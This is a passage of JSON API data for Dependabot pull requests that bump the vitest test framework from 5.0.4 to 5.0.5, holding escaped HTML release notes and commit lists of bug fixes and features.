\u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/kubai087/lumno-extension/pull/106","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kubai087%2Flumno-extension/issues/106","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/106/packages"}},{"old_version":"5.0.4","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T09:05:23.000Z","version_change":"5.0.4 → 5.0.5","issue":{"uuid":"5995015025","node_id":"PR_kwDOPJNAnc8AAAABKNs8SA","number":117,"state":"open","title":"chore(deps-dev): bump vitest from 5.0.4 to 5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":["dytsou"],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T09:05:23.000Z","updated_at":"2026-10-23T13:32:48.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 5.0.4 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca 